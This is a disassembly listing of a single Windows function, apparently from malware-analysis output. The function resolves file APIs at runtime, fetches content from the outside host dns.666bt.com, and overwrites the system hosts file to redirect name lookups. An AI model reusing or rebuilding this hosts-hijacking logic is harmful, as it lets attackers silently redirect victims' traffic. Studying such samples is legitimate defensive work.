Function at 0x4012d0
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x40c886
push eax
mov eax, 0x4b274
mov dword fs:[0], esp
call fcn.00405a70
push ebx
push ebp
push esi
push edi
mov ecx, 0x6418
xor eax, eax
lea edi, [esp + 0x191b9]
mov byte [esp + 0x191b8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x40f0f0]
xor esi, esi
cmp eax, esi
je 0x401683
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x401327
xor esi, esi
lea ecx, [esp + 0x3221c]
call fcn.00402150
mov al, byte [esp + 0x13]
sub esp, 0x10
mov ebp, esp
mov edi, str.http:__www.baidu.com
or ecx, 0xffffffff
mov dword [esp + 0x4b29c], esi
mov byte [ebp], al
xor eax, eax
mov dword [ebp + 4], esi
mov dword [ebp + 8], esi
mov dword [ebp + 0xc], esi
mov dword [esp + 0x3c], esp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
mov ecx, ebp
mov dword [esp + 0x24], edi
call fcn.00401f70
cmp eax, edi
jae 0x401378
call fcn.00404a8a
mov ecx, dword [ebp + 4]
cmp ecx, esi
je 0x40139d
mov al, byte [ecx - 1]
test al, al
je 0x40139d
cmp al, 0xff
je 0x40139d
cmp edi, esi
jne 0x4013c1
dec al
push esi
mov byte [ecx - 1], al
mov ecx, ebp
call fcn.00401de0
jmp 0x4013ef
cmp edi, esi
jne 0x4013ac
push 1
mov ecx, ebp
call fcn.00401de0
jmp 0x4013ef
mov eax, dword [ebp + 0xc]
cmp eax, 0x1f
ja 0x4013b8
cmp eax, edi
jae 0x4013c9
push 1
mov ecx, ebp
call fcn.00401de0
push edi
mov ecx, ebp
call fcn.00401f80
mov eax, dword [ebp + 4]
mov ecx, edi
mov edx, ecx
mov esi, str.http:__www.baidu.com
mov edi, eax
mov eax, dword [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, ebp
call fcn.00401e30
lea ecx, [esp + 0x3222c]
call fcn.00402b40
mov edx, dword [0x40f1cc]
mov ecx, dword [str.Kernel32.dll]
mov eax, dword [0x40f1d0]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov cl, byte [0x40f1d4]
lea edx, [esp + 0x18]
push str.CreateFileA
push edx
mov dword [esp + 0x28], eax
mov byte [esp + 0x2c], cl
call esi
push eax
call ebx
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x18]
push str.WriteFile
push eax
call esi
push eax
call ebx
lea ecx, [esp + 0x18]
push str.SetFilePointer
push ecx
mov dword [esp + 0x34], eax
call esi
push eax
call ebx
lea edx, [esp + 0x18]
push str.SetFileAttributesA
push edx
mov dword [esp + 0x40], eax
call esi
push eax
call ebx
mov dword [esp + 0x48], eax
lea eax, [esp + 0x18]
push str.ReadFile
push eax
call esi
push eax
call ebx
lea ecx, [esp + 0x18]
push str.GetFileSize
push ecx
mov dword [esp + 0x38], eax
call esi
push eax
call ebx
mov dword [esp + 0x34], eax
mov ecx, 0x6419
xor eax, eax
lea edi, [esp + 0x191b8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x150]
call fcn.00402150
mov esi, dword [str.http:__dns.666bt.com_jc.txt]
mov dl, byte [esp + 0x13]
sub esp, 0x10
xor eax, eax
mov ebp, esp
mov edi, esi
or ecx, 0xffffffff
mov dword [esp + 0x24], esp
mov byte [ebp], dl
mov dword [ebp + 4], eax
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
mov edi, ecx
mov byte [esp + 0x4b2a0], 1
mov dword [esp + 0x28], edi
push edi
mov ecx, ebp
call fcn.00401e50
test al, al
je 0x40151e
mov eax, dword [ebp + 4]
mov ecx, edi
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + 8], eax
mov ebp, dword [ebp + 4]
add ebp, eax
mov byte [ebp], 0
lea ecx, [esp + 0x160]
call fcn.00402b40
lea edi, [esp + 0x154]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x191b8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x4c]
push str.WINDOWS_system32driversetchosts
push edx
mov byte [esp + 0x56], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, dword [esp + 0x3c]
push 0
push 0x80
push 2
push 0
push 0
lea eax, [esp + 0x60]
push 0x40000000
push eax
call edi
lea ecx, [esp + 0x40]
mov esi, eax
push ecx
push esi
call dword [esp + 0x3c]
push 0
push 0
push 0
push esi
call dword [esp + 0x48]
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x44]
push 0
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
push esi
mov dword [esp + 0x3c], 0
call dword [esp + 0x44]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebp
mov edx, dword [esp + 0x28]
lea eax, [esp + 0x191b8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40163e
lea ecx, [esp + 0x4c]
push 0x80
push ecx
call dword [esp + 0x50]
push 0
push 0x80
push 2
push 0
push 0
lea edx, [esp + 0x60]
push 0x40000000
push edx
call edi
mov esi, eax
lea eax, [esp + 0x44]
push 0
push eax
lea edi, [esp + 0x191c0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x191c4]
push ecx
push esi
call dword [esp + 0x40]
push esi
call ebp
lea ecx, [esp + 0x150]
mov byte [esp + 0x4b28c], 0
call fcn.00402190
mov ecx, dword [0x40f0f0]
mov dword [esp + 0x4b28c], 0xffffffff
dec ecx
mov dword [0x40f0f0], ecx
lea ecx, [esp + 0x3221c]
call fcn.00402190
mov eax, dword [0x40f0f0]
test eax, eax
jne 0x401325
mov ecx, dword [esp + 0x4b284]
pop edi
pop esi
pop ebp
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x4b280
ret